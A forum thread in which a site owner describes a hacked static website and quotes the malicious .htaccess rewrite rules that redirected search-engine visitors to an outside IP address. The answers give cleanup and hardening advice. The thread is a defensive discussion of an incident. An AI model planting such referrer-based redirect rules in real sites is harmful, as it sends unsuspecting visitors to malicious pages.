2

A website I maintain pro-bono was hacked, dishing out 302s to gaming sites, etc. www.rebekahshouse.org. After much searching through my hosting company's control panel, I found the culprit in the htaccess file. It looked something like this:
RewriteEngine on
RewriteCond %{HTTP_REFERER} .oogle.com [NC,OR]
RewriteCond %{HTTP_REFERER} .ahoo.com [NC,OR]
RewriteRule .*hxxp://87.248.180.89/topic.html?s=s- [C,L]

(I think that was C, L; I overwrote it and tried to recreate it above, might've missed a piece here and there)

Anyway, I overwrote it with this:

order allow,deny deny from all

Is this going to anything for me? What SHOULD I have in my .htaccess file? This is purely a static html site.

Thanks!

6 Answers 6

9

If you're running a static site its highly likely you don't need anything in your .htaccess. You should then workout how your site actually got hacked...as if you haven't resolved that it's just going to happen again.

1
  • Not necessarily. If he is using shared hosting, their 'defaults' may be inappropriate and leave many security holes open. For example, it may be necessary to disable the Directory Index or explicitly disallow any kind of cgi scripts in the directory. Jan 21, 2009 at 17:02
5

Your real concern should be how it happened in the first place. Defacers and such often go back and will try the same thing again on a previously cracked site, since many times the vulnerability isn't fixed.

5

The htaccess file is incidental. You have been hacked by one of the Russian malware gangs. If you don't close the hole that allowed the hack to happen, you will just get hacked again.

It is entirely possible that the server itself is compromised and there is more stuff on it you don't know about, such as trojan software that might not only deface your sites, but also launch attacks on others, send spam, and so on. Assuming appropriate permissions on the directory containing the htaccess file, it should not have been possible to write a file there even if you have an insecure web application on there. Certainly if you are only dealing with static files the only way such a file could have got there is by your uploading account, or the server itself being compromised.

If it's your server, as I'm guessing from the fact it responds to a direct query by IP address, you need to flatten it and reinstall from up-to-date software, use new passwords, and check your own client machines you're uploading from for infections.

1
  • Thnx. I submitted a help ticket to the hosting company, hostexcellence.com
    – Jesse
    Jan 21, 2009 at 16:59
2

(As per @YGomez's comment: first and foremost, you need to close the vulnerability which allowed the creation of that .htaccess file, else the malware will come back almost instantly; I probably should have mentioned that explicitly)

The first part will redirect all visitors coming in from yahoo and google to 87.248.180.89

The second part ("allow, deny") will deny access to your site for everybody.

I suggest to simply delete the .htaccess and be done with it - if you use a .htaccess file, you would know what goes in there, else you don't need it.

2
  • From experience, "simply deleting" the files won't work, because they will be back shortly after. If the htaccess files are being created from an application that has some injected script then deleting won't help you.
    – yarian
    Aug 13, 2011 at 4:16
  • @YGomez: Indeed - I should have mentioned this explicitly; without fixing the root of the issue, the symptoms (hacked .htaccess in this case) will come back again. I was only focusing on "What SHOULD I have in my .htaccess file? This is purely a static html site." and not the wider picture. Edited to clarify. Aug 20, 2011 at 20:16
0

No, that won't do anything for you. For a static site you may not need a .htaccess file at all.

1
  • I deleted it. I also contacted the hosting company and put in a help ticket to alert them of a potential breach. I reset the FTP and hosting company passwords. Now I'm gonna go hide under a rock...
    – Jesse
    Jan 21, 2009 at 16:56
0
  • Step 1 : change FTP password
  • Step 2 : Download all files and clean
  • Step 3 : upload Files
  • Step 4 : Set 444 permission to all files, except Custom Upload folders

Remeber Do not save FTP password in your FTP client.

If you suspects that your system is infected, Format and install OS, then install a good antivirus + firewall. I suggest Avast free edition and Comodo Firewall.

We have received many inquiries and we cleaned those infected sites.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.